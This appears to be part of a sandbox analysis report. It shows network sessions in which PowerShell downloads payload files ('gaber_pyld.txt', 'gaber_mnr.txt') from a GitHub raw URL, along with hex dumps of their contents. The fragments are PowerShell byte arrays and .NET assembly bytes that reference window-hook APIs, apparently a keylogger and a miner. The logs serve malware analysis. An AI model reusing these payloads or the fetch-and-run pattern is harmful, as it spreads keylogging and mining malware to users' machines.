2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 2c 31 31 36 2c 39 37 2c 31 31 30 2c 31 30 30 2c 39 37 2c 31 31 34 2c 31 30 30 2c 37 37 2c 31 31 31 2c 31 30 30 2c 31 31 37 2c 31 30 38 2c 31 30 31 2c 36 35 2c 31 31 36 2c 31 31 36 2c 31 31 34 2c 31 30 35 2c 39 38 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 30 2c 37 32 2c 31 30 35 2c 31 30 30 2c 31 30 31 2c 37 37 2c 31 31 31 2c 31 30 30 2c 31 31 37 2c 31 30 38 2c 31 30 31 2c 37 38 2c 39 37 2c 31 30 39 2c 31 30 31 2c 36 35 2c 31 31 36 2c 31 31 36 2c 31 31 34 2c 31 30 35 2c 39 38 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 30 2c 36 35 2c 31 31 35 2c 31 31 35 2c 31 30 31 2c 31 30 39 2c 39 38 2c 31 30 38 2c 31 32 31 2c 38 34 2c 31 31 34 2c 39 37 2c 31 30 30 2c 31 30 31 2c 31 30 39 2c 39 37 2c 31 31 34 2c 31 30 37 2c 36 35 2c 31 31 36 2c 31 31 36 2c 31 31 34 2c 31 30 35 Data Ascii: ,116,97,110,100,97,114,100,77,111,100,117,108,101,65,116,116,114,105,98,117,116,101,0,72,105,100,101,77,111,100,117,108,101,78,97,109,101,65,116,116,114,105,98,117,116,101,0,65,115,115,101,109,98,108,121,84,114,97,100,101,109,97,114,107,65,116,116,114,105
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 2c 30 2c 38 33 2c 31 30 31 2c 31 31 36 2c 38 37 2c 31 30 35 2c 31 31 30 2c 31 30 30 2c 31 31 31 2c 31 31 39 2c 31 31 35 2c 37 32 2c 31 31 31 2c 31 31 31 2c 31 30 37 2c 36 39 2c 31 32 30 2c 30 2c 36 37 2c 39 37 2c 31 30 38 2c 31 30 38 2c 37 38 2c 31 30 31 2c 31 32 30 2c 31 31 36 2c 37 32 2c 31 31 31 2c 31 31 31 2c 31 30 37 2c 36 39 2c 31 32 30 2c 30 2c 36 37 2c 31 30 38 2c 31 31 31 2c 31 31 35 2c 31 30 31 2c 37 37 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 31 32 30 2c 30 2c 36 37 2c 31 31 34 2c 31 30 31 2c 39 37 2c 31 31 36 2c 31 30 31 2c 37 37 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 31 32 30 2c 30 2c 39 35 2c 39 37 2c 31 31 32 2c 31 31 32 2c 37 37 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 31 32 30 2c 30 2c 36 37 2c 31 30 34 2c 31 30 31 2c 39 39 2c 31 30 37 2c 37 Data Ascii: ,0,83,101,116,87,105,110,100,111,119,115,72,111,111,107,69,120,0,67,97,108,108,78,101,120,116,72,111,111,107,69,120,0,67,108,111,115,101,77,117,116,101,120,0,67,114,101,97,116,101,77,117,116,101,120,0,95,97,112,112,77,117,116,101,120,0,67,104,101,99,107,7
2024-09-16 06:22:38 UTC	11837	IN	Data Raw: 2c 31 38 2c 31 32 38 2c 32 31 33 2c 35 2c 33 32 2c 30 2c 31 38 2c 31 32 38 2c 32 31 37 2c 35 2c 33 32 2c 30 2c 31 38 2c 31 32 38 2c 32 32 31 2c 34 2c 33 32 2c 31 2c 32 38 2c 31 34 2c 35 2c 30 2c 32 2c 32 2c 31 34 2c 31 34 2c 34 2c 33 32 2c 31 2c 32 2c 31 34 2c 33 2c 33 32 2c 30 2c 32 2c 38 2c 37 2c 35 2c 32 39 2c 31 34 2c 38 2c 32 2c 32 2c 32 2c 35 2c 30 2c 32 2c 31 34 2c 31 34 2c 31 34 2c 37 2c 37 2c 33 2c 32 39 2c 35 2c 32 39 2c 35 2c 38 2c 36 2c 33 32 2c 31 2c 32 39 2c 35 2c 32 39 2c 35 2c 31 32 2c 30 2c 35 2c 31 2c 31 38 2c 31 32 38 2c 32 35 33 2c 38 2c 31 38 2c 31 32 38 2c 32 35 33 2c 38 2c 38 2c 35 2c 33 32 2c 31 2c 31 2c 32 39 2c 35 2c 36 2c 33 32 2c 31 2c 31 2c 31 37 2c 31 32 39 2c 35 2c 35 2c 33 32 2c 30 2c 31 38 2c 31 32 39 2c 39 2c 38 2c 33 32 Data Ascii: ,18,128,213,5,32,0,18,128,217,5,32,0,18,128,221,4,32,1,28,14,5,0,2,2,14,14,4,32,1,2,14,3,32,0,2,8,7,5,29,14,8,2,2,2,5,0,2,14,14,14,7,7,3,29,5,29,5,8,6,32,1,29,5,29,5,12,0,5,1,18,128,253,8,18,128,253,8,8,5,32,1,1,29,5,6,32,1,1,17,129,5,5,32,0,18,129,9,8,32

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49737	185.199.109.133	443	3620	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 06:22:37 UTC	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 06:22:37 UTC	901	IN	HTTP/1.1 200 OK Connection: close Content-Length: 159293 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "80ad5dac8b21f93f5913af03c53e98e879731d41370452cf941cf04d26ae655d" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 712A:2E384B:5AF22B:65EE49:66E7CEAD Accept-Ranges: bytes Date: Mon, 16 Sep 2024 06:22:37 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740058-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1726467758.830466,VS0,VE44 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: f4af7fb8d9489cd61c2079b2a11a84648600a81f Expires: Mon, 16 Sep 2024 06:27:37 GMT Source-Age: 0
2024-09-16 06:22:37 UTC	16384	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 37 31 2c 20 30 78 30 30 2c 20 30 78 35 31 2c 20 30 78 30 30 2c 20 30 78 35 31 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 30 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 36 41 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 Data Ascii: 0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x22, 0x00, 0x29, 0x00, 0x0A, 0x00, 0x24, 0x00, 0x71, 0x00, 0x51, 0x00, 0x51, 0x00, 0x33, 0x00, 0x30, 0x00, 0x32, 0x00, 0x33, 0x00, 0x6A, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x66, 0x00, 0x6F, 0x
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 32 32 31 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 30 2c 30 2c 34 32 2c 30 2c 30 2c 30 2c 31 2c 31 36 2c 30 2c 30 2c 30 2c 30 2c 36 38 2c 30 2c 38 35 2c 31 35 33 2c 30 2c 31 35 2c 36 38 2c 30 2c 30 2c 31 2c 32 37 2c 34 38 2c 34 2c 30 2c 37 30 2c 31 2c 30 2c 30 2c 31 34 2c 30 2c 30 2c 31 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 35 36 2c 34 39 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 34 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 2c 35 37 2c 31 30 2c 30 2c 30 2c 30 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 34 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 2c 35 37 2c 35 2c 30 2c 30 2c 30 2c 35 36 2c 35 2c 30 2c 30 2c 30 2c 35 36 2c Data Ascii: 221,0,0,0,0,254,12,0,0,42,0,0,0,1,16,0,0,0,0,68,0,85,153,0,15,68,0,0,1,27,48,4,0,70,1,0,0,14,0,0,17,32,0,0,0,0,254,14,4,0,56,49,0,0,0,0,254,12,4,0,32,0,0,0,0,254,1,57,10,0,0,0,0,32,1,0,0,0,254,14,4,0,0,254,12,4,0,32,1,0,0,0,254,1,57,5,0,0,0,56,5,0,0,0,56,
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 2c 30 2c 31 34 32 2c 31 30 35 2c 34 30 2c 31 36 34 2c 30 2c 30 2c 31 30 2c 32 35 34 2c 31 34 2c 32 2c 30 2c 32 35 34 2c 31 32 2c 31 2c 30 2c 32 35 34 2c 31 34 2c 33 2c 30 2c 32 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 31 31 34 2c 35 30 2c 36 2c 30 2c 31 31 32 2c 32 35 34 2c 31 34 2c 35 2c 30 2c 33 32 2c 33 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 32 2c 30 2c 34 30 2c 37 30 2c 30 2c 30 2c 31 30 2c 31 36 32 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 34 30 2c 31 30 35 2c 30 2c 30 2c 31 2c 31 36 32 2c 33 37 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 33 32 2c 34 2c 30 2c 30 2c 30 2c 31 34 30 2c 31 30 35 2c 30 2c 30 2c 31 2c 31 36 32 2c 32 35 34 2c 31 34 Data Ascii: ,0,142,105,40,164,0,0,10,254,14,2,0,254,12,1,0,254,14,3,0,20,254,14,4,0,114,50,6,0,112,254,14,5,0,32,3,0,0,0,141,1,0,0,1,37,32,0,0,0,0,254,12,2,0,40,70,0,0,10,162,37,32,1,0,0,0,32,0,0,0,0,140,105,0,0,1,162,37,32,2,0,0,0,32,4,0,0,0,140,105,0,0,1,162,254,14
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 2c 35 2c 30 2c 32 30 2c 31 31 34 2c 37 37 2c 31 32 2c 30 2c 31 31 32 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 32 36 2c 34 38 2c 30 2c 30 2c 34 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 35 34 2c 31 36 32 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 31 32 36 2c 34 38 2c 30 2c 30 2c 34 2c 33 32 2c 33 2c 30 2c 30 2c 30 2c 31 35 34 2c 34 30 2c 35 32 2c 30 2c 30 2c 31 30 2c 34 30 2c 35 36 2c 30 2c 30 2c 36 2c 31 36 32 2c 31 36 32 2c 32 30 2c 32 30 2c 32 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 34 30 2c 31 31 37 2c 30 2c 30 2c 31 30 2c 33 38 2c 32 32 31 2c 35 35 2c 33 2c 30 2c 30 2c Data Ascii: ,5,0,20,114,77,12,0,112,32,2,0,0,0,141,1,0,0,1,37,32,1,0,0,0,32,2,0,0,0,141,1,0,0,1,37,32,0,0,0,0,126,48,0,0,4,32,2,0,0,0,154,162,37,32,1,0,0,0,126,48,0,0,4,32,3,0,0,0,154,40,52,0,0,10,40,56,0,0,6,162,162,20,20,20,32,1,0,0,0,40,117,0,0,10,38,221,55,3,0,0,
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 2c 30 2c 32 35 34 2c 31 32 2c 31 2c 30 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 38 2c 32 34 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 32 2c 30 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 38 2c 31 30 2c 30 2c 30 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 35 36 2c 35 2c 30 2c 30 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 31 34 30 2c 37 38 2c 30 2c 30 2c 31 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 37 2c 34 32 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 33 2c 30 2c 32 30 2c 31 31 34 2c 31 32 2c 31 35 2c 30 2c 31 31 32 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 32 30 2c 32 30 2c 32 30 2c 34 30 2c 31 36 35 2c 30 2c 30 2c 31 30 2c 34 30 2c 37 30 2c 30 2c 30 2c 31 30 2c 32 35 34 2c 31 34 2c 33 2c 30 2c 35 36 2c 33 37 2c 30 2c 30 Data Ascii: ,0,254,12,1,0,40,21,1,0,10,58,24,0,0,0,254,12,2,0,40,21,1,0,10,58,10,0,0,0,32,0,0,0,0,56,5,0,0,0,32,1,0,0,0,140,78,0,0,1,40,21,1,0,10,57,42,0,0,0,254,12,3,0,20,114,12,15,0,112,32,0,0,0,0,141,1,0,0,1,20,20,20,40,165,0,0,10,40,70,0,0,10,254,14,3,0,56,37,0,0
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 31 2c 31 36 39 2c 32 2c 32 32 35 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 33 33 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 34 31 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 34 39 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 31 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 39 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 31 37 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 35 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 33 33 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 34 31 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 34 39 2c 31 2c 38 31 2c 32 31 2c 33 34 2c 30 2c 35 37 2c 31 2c 38 31 2c 32 31 2c 33 34 2c 30 2c 36 35 2c 31 2c 38 31 2c 32 31 2c 33 34 2c 30 2c 37 33 2c 31 2c 38 31 2c 32 31 2c 31 32 32 2c 33 2c 38 39 2c 31 2c 38 31 2c 32 31 Data Ascii: 1,169,2,225,0,81,21,184,2,233,0,81,21,184,2,241,0,81,21,184,2,249,0,81,21,184,2,1,1,81,21,184,2,9,1,81,21,184,2,17,1,81,21,184,2,25,1,81,21,184,2,33,1,81,21,184,2,41,1,81,21,184,2,49,1,81,21,34,0,57,1,81,21,34,0,65,1,81,21,34,0,73,1,81,21,122,3,89,1,81,21
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 2c 31 31 36 2c 39 37 2c 31 31 30 2c 31 30 30 2c 39 37 2c 31 31 34 2c 31 30 30 2c 37 37 2c 31 31 31 2c 31 30 30 2c 31 31 37 2c 31 30 38 2c 31 30 31 2c 36 35 2c 31 31 36 2c 31 31 36 2c 31 31 34 2c 31 30 35 2c 39 38 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 30 2c 37 32 2c 31 30 35 2c 31 30 30 2c 31 30 31 2c 37 37 2c 31 31 31 2c 31 30 30 2c 31 31 37 2c 31 30 38 2c 31 30 31 2c 37 38 2c 39 37 2c 31 30 39 2c 31 30 31 2c 36 35 2c 31 31 36 2c 31 31 36 2c 31 31 34 2c 31 30 35 2c 39 38 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 30 2c 36 35 2c 31 31 35 2c 31 31 35 2c 31 30 31 2c 31 30 39 2c 39 38 2c 31 30 38 2c 31 32 31 2c 38 34 2c 31 31 34 2c 39 37 2c 31 30 30 2c 31 30 31 2c 31 30 39 2c 39 37 2c 31 31 34 2c 31 30 37 2c 36 35 2c 31 31 36 2c 31 31 36 2c 31 31 34 2c 31 30 35 Data Ascii: ,116,97,110,100,97,114,100,77,111,100,117,108,101,65,116,116,114,105,98,117,116,101,0,72,105,100,101,77,111,100,117,108,101,78,97,109,101,65,116,116,114,105,98,117,116,101,0,65,115,115,101,109,98,108,121,84,114,97,100,101,109,97,114,107,65,116,116,114,105
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 2c 30 2c 38 33 2c 31 30 31 2c 31 31 36 2c 38 37 2c 31 30 35 2c 31 31 30 2c 31 30 30 2c 31 31 31 2c 31 31 39 2c 31 31 35 2c 37 32 2c 31 31 31 2c 31 31 31 2c 31 30 37 2c 36 39 2c 31 32 30 2c 30 2c 36 37 2c 39 37 2c 31 30 38 2c 31 30 38 2c 37 38 2c 31 30 31 2c 31 32 30 2c 31 31 36 2c 37 32 2c 31 31 31 2c 31 31 31 2c 31 30 37 2c 36 39 2c 31 32 30 2c 30 2c 36 37 2c 31 30 38 2c 31 31 31 2c 31 31 35 2c 31 30 31 2c 37 37 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 31 32 30 2c 30 2c 36 37 2c 31 31 34 2c 31 30 31 2c 39 37 2c 31 31 36 2c 31 30 31 2c 37 37 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 31 32 30 2c 30 2c 39 35 2c 39 37 2c 31 31 32 2c 31 31 32 2c 37 37 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 31 32 30 2c 30 2c 36 37 2c 31 30 34 2c 31 30 31 2c 39 39 2c 31 30 37 2c 37 Data Ascii: ,0,83,101,116,87,105,110,100,111,119,115,72,111,111,107,69,120,0,67,97,108,108,78,101,120,116,72,111,111,107,69,120,0,67,108,111,115,101,77,117,116,101,120,0,67,114,101,97,116,101,77,117,116,101,120,0,95,97,112,112,77,117,116,101,120,0,67,104,101,99,107,7
2024-09-16 06:22:38 UTC	11837	IN	Data Raw: 2c 31 38 2c 31 32 38 2c 32 31 33 2c 35 2c 33 32 2c 30 2c 31 38 2c 31 32 38 2c 32 31 37 2c 35 2c 33 32 2c 30 2c 31 38 2c 31 32 38 2c 32 32 31 2c 34 2c 33 32 2c 31 2c 32 38 2c 31 34 2c 35 2c 30 2c 32 2c 32 2c 31 34 2c 31 34 2c 34 2c 33 32 2c 31 2c 32 2c 31 34 2c 33 2c 33 32 2c 30 2c 32 2c 38 2c 37 2c 35 2c 32 39 2c 31 34 2c 38 2c 32 2c 32 2c 32 2c 35 2c 30 2c 32 2c 31 34 2c 31 34 2c 31 34 2c 37 2c 37 2c 33 2c 32 39 2c 35 2c 32 39 2c 35 2c 38 2c 36 2c 33 32 2c 31 2c 32 39 2c 35 2c 32 39 2c 35 2c 31 32 2c 30 2c 35 2c 31 2c 31 38 2c 31 32 38 2c 32 35 33 2c 38 2c 31 38 2c 31 32 38 2c 32 35 33 2c 38 2c 38 2c 35 2c 33 32 2c 31 2c 31 2c 32 39 2c 35 2c 36 2c 33 32 2c 31 2c 31 2c 31 37 2c 31 32 39 2c 35 2c 35 2c 33 32 2c 30 2c 31 38 2c 31 32 39 2c 39 2c 38 2c 33 32 Data Ascii: ,18,128,213,5,32,0,18,128,217,5,32,0,18,128,221,4,32,1,28,14,5,0,2,2,14,14,4,32,1,2,14,3,32,0,2,8,7,5,29,14,8,2,2,2,5,0,2,14,14,14,7,7,3,29,5,29,5,8,6,32,1,29,5,29,5,12,0,5,1,18,128,253,8,18,128,253,8,8,5,32,1,1,29,5,6,32,1,1,17,129,5,5,32,0,18,129,9,8,32

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49736	185.199.109.133	443	7236	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 06:22:37 UTC	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 06:22:37 UTC	903	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18622545 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "7212ed35f7de22eefebda6e2e6a140882d785593e9f94a152721678af4a1b44c" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 60AD:1C6B4D:6074A8:6B74DC:66E7CEAC Accept-Ranges: bytes Date: Mon, 16 Sep 2024 06:22:37 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740057-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726467758.835401,VS0,VE52 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: acea1f407b3cfe41f164dd5714dd2df82367fbf0 Expires: Mon, 16 Sep 2024 06:27:37 GMT Source-Age: 0
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 46 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x73, 0x00, 0x73, 0x00, 0x20, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x2F, 0x00, 0x
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x64, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00,
